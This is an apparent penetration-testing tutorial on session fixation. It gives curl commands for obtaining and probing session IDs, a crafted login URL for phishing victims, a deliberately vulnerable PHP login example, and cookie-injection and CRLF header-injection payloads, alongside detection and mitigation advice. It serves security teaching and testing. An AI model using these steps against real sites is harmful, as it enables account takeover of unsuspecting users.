Fixation
Session fixation is the inverse of hijacking - instead of stealing the victim’s identifier, you force them to use one you already know. Three-stage attack: get a valid identifier yourself, propagate it onto the victim’s browser before login, ride the session after they log in. The vulnerability exists when an app reuses pre-login session identifiers post-login and accepts session identifiers from a URL, POST body, or any other attacker-controllable channel.
# 1. Obtain a valid session identifier (visit the site as an unauthenticated user)curl -i http://target/ | grep -i 'set-cookie'
# 2. Check whether the identifier survives login# Visit /login, capture session cookie, log in, check if cookie value changed
# 3. Check whether the app accepts identifier from URL parameter / POSTcurl -i 'http://target/?PHPSESSID=I_CONTROL_THIS' | grep -i 'set-cookie'# Or: curl -i 'http://target/?token=I_CONTROL_THIS'
# 4. Craft a victim-facing linkhttp://target/login?PHPSESSID=I_CONTROL_THIS
# 5. Victim clicks, logs in with that session ID, attacker hijackscurl -b 'PHPSESSID=I_CONTROL_THIS' http://target/account/Success indicator: after the victim logs in, requesting a protected resource with the attacker-chosen session identifier returns the victim’s account view.
What makes fixation distinct from hijacking
Section titled “What makes fixation distinct from hijacking”Both attacks end the same way - attacker rides a valid session - but the discovery and delivery are different:
| Aspect | Hijacking | Fixation |
|---|---|---|
| What attacker steals | The victim’s existing session identifier | Nothing - attacker generates their own |
| What attacker delivers | Nothing (only takes) | A crafted URL or payload that fixes the ID on the victim |
| Vulnerability premise | XSS, sniffing, RCE, etc. | App reuses pre-login IDs + accepts IDs from attacker-controllable channels |
| Detection on the defender side | Stolen identifier appears in unexpected IP / UA | Same identifier used by two distinct browsers (could look like hijack too) |
| Mitigation | Many: HttpOnly, Secure, SameSite, anti-CSRF, monitoring | Regenerate session ID on every authentication state change |
Fixation tends to be much rarer in modern frameworks because session_regenerate_id() (PHP) and equivalents in Java/.NET have been the default for years. Where it persists is in custom session implementations or older apps.
The three stages
Section titled “The three stages”Stage 1 - Attacker obtains a valid identifier
Section titled “Stage 1 - Attacker obtains a valid identifier”For most apps, this is trivial: visit the homepage anonymously. The server assigns a session identifier even before login.
$ curl -sI http://target/HTTP/1.1 200 OKSet-Cookie: PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c; path=/You now hold ab4530f4a7d10448457fa8b0eadac29c - a valid, unauthenticated session.
For apps that don’t issue an ID until login, the attacker can register their own account (if registration is open) or use a guest-checkout flow. The point is just to get some valid identifier the app will accept.
Stage 2 - Confirm the vulnerability
Section titled “Stage 2 - Confirm the vulnerability”Two conditions must hold for fixation to work:
Condition A: Pre-login identifier survives login.
Log into the app as a test user. Compare the session cookie before login (Stage 1) with the cookie after login. If they’re identical: vulnerable to fixation. If the post-login cookie is different: the app calls session_regenerate_id() or equivalent - not vulnerable.
# Pre-login$ curl -c jar.txt -b jar.txt http://target/ -sI | grep -i 'set-cookie\|PHPSESSID'$ cat jar.txttarget.com FALSE / FALSE 0 PHPSESSID ab4530f4a7d10448457fa8b0eadac29c
# Log in (uses the cookie we just got)$ curl -c jar.txt -b jar.txt -X POST -d 'user=test&pass=test' http://target/login -sI
# Post-login$ cat jar.txttarget.com FALSE / FALSE 0 PHPSESSID ab4530f4a7d10448457fa8b0eadac29c ← same! vulnerableIf after login the value changes to ed5f8..., the app regenerates - not vulnerable.
Condition B: Identifier is settable from attacker-controllable input.
The classic mechanism: a ?token= or ?PHPSESSID= URL parameter whose value is propagated into the cookie:
$ curl -sI 'http://target/?PHPSESSID=I_CONTROL_THIS'HTTP/1.1 200 OKSet-Cookie: PHPSESSID=I_CONTROL_THIS; path=/ ← propagated!Or via POST body, or via a custom header. The HTB-style example uses ?token=:
<?php if (!isset($_GET["token"])) { session_start(); header("Location: /?redirect_uri=/complete.html&token=" . session_id()); } else { setcookie("PHPSESSID", $_GET["token"]); }?>What this code does:
- No
tokenparameter → assigns one (session_start) and redirects with it in the URL tokenparameter present → setsPHPSESSIDto whatever’s in the parameter
That second branch is the vulnerability. The app trusts the URL parameter as the session ID source.
Stage 3 - Deliver the fixed identifier to the victim
Section titled “Stage 3 - Deliver the fixed identifier to the victim”The attacker crafts a URL embedding the fixed identifier and gets the victim to click it.
http://target/?PHPSESSID=I_CONTROL_THIShttp://target/?token=I_CONTROL_THIShttp://target/login?session=ATTACKER_FIXED_VALUEDelivery mechanisms:
- Phishing email link
- Crafted URL in chat / social media message
- HTML email with
<a href>pointing to the fixed-URL login page - Embedded in an iframe on an attacker-controlled site (some browsers carry cookies into iframes; depends on
SameSiteand iframe sandbox) - QR code in physical-attack scenarios
The victim clicks, lands on the legit app’s login page (the URL goes to the legitimate domain - only the query parameter is malicious), enters their credentials, logs in. The app sets the session as logged-in with the attacker-chosen ID.
Stage 4 - Hijack
Section titled “Stage 4 - Hijack”Now the attacker’s previously-known ID maps to the victim’s authenticated session. Standard hijack from Hijacking:
curl -b 'PHPSESSID=I_CONTROL_THIS' http://target/account/Returns the victim’s account view.
Detection in practice
Section titled “Detection in practice”Blind probing
Section titled “Blind probing”Even without a test account, you can probe for fixation:
# Send a known value as the session ID via every plausible channelcurl -i "http://target/login?PHPSESSID=AAA111" | grep -i 'set-cookie'curl -i "http://target/login?session=AAA111" | grep -i 'set-cookie'curl -i "http://target/login?sid=AAA111" | grep -i 'set-cookie'curl -i "http://target/login?token=AAA111" | grep -i 'set-cookie'
# Also try POST and header injectioncurl -i -X POST -d 'PHPSESSID=AAA111' http://target/logincurl -i -H 'Cookie: PHPSESSID=AAA111' http://target/login | grep -i 'set-cookie'If any of these return a Set-Cookie with the value AAA111 reflected back (or just leave the existing cookie undisturbed), you’ve found the propagation path. The header-injection path (Cookie: already set, server doesn’t issue a new one) is the most subtle - the absence of Set-Cookie in the response is itself the signal.
Reading the source
Section titled “Reading the source”When source code is available:
- PHP: search for
setcookie()calls that take input from$_GET,$_POST, or$_REQUESTwithout filtering - PHP: search for
session_id($input)(manually overriding the session ID) - Java:
request.getSession(false)is correct;request.getSession()after auth without a regenerate is suspect - .NET:
Session.Abandon()followed by not assigning a new cookie
Common parameter names to test
Section titled “Common parameter names to test”If the app uses a standard framework, the cookie name gives away the framework:
| Cookie name | Framework |
|---|---|
PHPSESSID | PHP |
JSESSIONID | Java (Servlet, Tomcat, Jetty) |
ASP.NET_SessionId | ASP.NET |
connect.sid | Express.js (Node.js, signed by default) |
_session_id, _<app>_session | Rails |
sessionid | Django |
laravel_session | Laravel |
ci_session | CodeIgniter |
auth-session, auth_token, _auth | Custom - read more carefully |
When testing fixation, try the cookie’s literal name as the URL parameter too:
?PHPSESSID=... # most common form for PHP?JSESSIONID=... # Java?token=...?session=...?sid=...?id=...Why HttpOnly doesn’t help
Section titled “Why HttpOnly doesn’t help”A common misconception: “we set HttpOnly on the cookie, so attackers can’t manipulate it.”
HttpOnly only prevents JavaScript from reading the cookie. It doesn’t prevent the server from setting a cookie based on URL input, and it doesn’t prevent the browser from carrying the cookie when the victim visits the malicious link.
The fixation chain:
- Attacker visits
http://target/?token=FIXED - Server sets
Set-Cookie: PHPSESSID=FIXED; HttpOnly- JavaScript can’t read it, fine - Attacker shares the same URL with victim
- Victim visits, server sets the same cookie on the victim’s browser, the HttpOnly is honored by the victim’s browser too
- Victim logs in, session is established with the fixed ID
- Attacker uses the fixed ID via curl -
HttpOnlyonly constrains JS, not HTTP
The defense against fixation is session ID regeneration on auth state change, not HttpOnly.
A worked PHP fixation chain
Section titled “A worked PHP fixation chain”A small PHP app accepting token from GET:
<?phpsession_start();if (isset($_GET['token'])) { session_id($_GET['token']); // ← classic vulnerability}
if (isset($_POST['username'])) { $_SESSION['user'] = $_POST['username']; header('Location: /dashboard.php');}?><form method="post" action="/login.php"> Username: <input name="username"> Password: <input name="password" type="password"> <button>Log in</button></form>dashboard.php:
<?phpsession_start();if (!isset($_SESSION['user'])) { header('Location: /login.php'); exit;}echo "Hello, " . $_SESSION['user'];?>Attack chain:
# 1. Attacker picks an arbitrary IDATTACKER_ID='b4d1d3ab1d4a55ed1de1d1ef1xed1'
# 2. Attacker sends victim this URL:# http://target/login.php?token=b4d1d3ab1d4a55ed1de1d1ef1xed1# (Phishing email, chat, etc.)
# 3. Victim clicks, logs in:# POST /login.php with username=alice&password=...# Server stores $_SESSION['user'] = 'alice' against session ID b4d1d3...
# 4. Attacker rides the session:$ curl -b "PHPSESSID=${ATTACKER_ID}" http://target/dashboard.phpHello, aliceThe attacker never knew Alice’s password. They never stole her cookie. They just fixed what cookie the app would use when Alice authenticated.
When propagation isn’t via URL
Section titled “When propagation isn’t via URL”Some apps don’t accept session IDs from URL but still don’t regenerate on login. The fixation chain is harder but sometimes possible:
Subdomain cookie injection
Section titled “Subdomain cookie injection”If the app sets cookies on a parent domain (e.g., .target.com), an XSS on a sibling subdomain (blog.target.com) can write a cookie that’s then sent to app.target.com:
document.cookie = "PHPSESSID=FIXED; domain=.target.com; path=/";The victim visits app.target.com, browser sends the attacker-injected cookie, app uses it. Mitigated by Host- cookie prefixes which forbid Domain= attribute.
Cookie injection via HTTP-to-HTTPS upgrade
Section titled “Cookie injection via HTTP-to-HTTPS upgrade”When the user visits http://target (not HTTPS) and the network is hostile, an attacker can inject a Set-Cookie in the plaintext response that then carries over to the HTTPS site if Secure isn’t set. Older browsers had inconsistent behavior here; modern browsers mostly fix this but the long tail persists.
HTML/header injection
Section titled “HTML/header injection”A reflected-XSS-like vulnerability that lets you control HTTP response headers can issue Set-Cookie directly. CRLF injection in particular sometimes allows arbitrary header injection:
GET /redirect?url=foo%0d%0aSet-Cookie:%20PHPSESSID%3DFIXED HTTP/1.1If the app blindly inserts url into a Location: header, the CRLF in %0d%0a may break out and inject a second header. Mostly fixed in modern web servers but worth a shot.
What this looks like from the defender’s side
Section titled “What this looks like from the defender’s side”When fixation is reported to a defender:
We assigned ID `b4d1...` to a visitor at 10:01.The same ID was used to authenticate as Alice at 10:23 (from Alice's IP).The same ID was used to access /admin from a different IP at 10:25.The defender’s logs see “two browsers used the same session ID” - same as a hijack would look. The distinguishing detail: the time the ID was first issued (long before login, before Alice’s session began). That’s the fixation fingerprint.
Fixation vs hijacking - when to choose which
Section titled “Fixation vs hijacking - when to choose which”For a real engagement, you almost always prefer hijacking - it’s simpler and doesn’t require victim interaction. Fixation requires the victim to follow your link and log in, both of which are extra failure modes.
Reasons to prefer fixation:
- You can’t read the victim’s cookie post-login but you can plant one pre-login (e.g., the cookie is
HttpOnlyso XSS can’t read it after the fact, but you can fix it via URL) - You can plant the cookie remotely but can’t extract it (cookie injection without read-back)
- The session is established before the victim logs in and you can intervene at the pre-login step
In modern apps, regeneration-on-login is so widespread that fixation findings are rare. When you find one, document it carefully and don’t assume it works just because the parameter propagates - verify the post-login regeneration check.
Quick reference
Section titled “Quick reference”| Task | Command |
|---|---|
| Get pre-login session ID | curl -sI http://target/ | grep -i set-cookie |
| Test URL parameter propagation | curl -i 'http://target/?PHPSESSID=AAA111' | grep -i set-cookie |
| Test POST body propagation | curl -i -X POST -d 'PHPSESSID=AAA111' http://target/login |
| Test header injection | curl -i -H 'Cookie: PHPSESSID=AAA111' http://target/login |
| Compare pre/post-login IDs | Login through a cookie jar, diff before/after |
| Fixate via URL link | http://target/login?PHPSESSID=I_CONTROL_THIS |
| Hijack post-victim-login | curl -b 'PHPSESSID=I_CONTROL_THIS' http://target/account/ |
| Parameter names to try | PHPSESSID, JSESSIONID, ASP.NET_SessionId, session, sid, token, id |
| Defender-side mitigation | session_regenerate_id(true) (PHP), equivalent in Java/.NET |
For the cookie-attribute deep-dive (HttpOnly, Secure, SameSite, Domain, Path), see Auth: cookie tampering. For the session-fundamentals view (token entropy, validity, scope), see Auth: session fixation.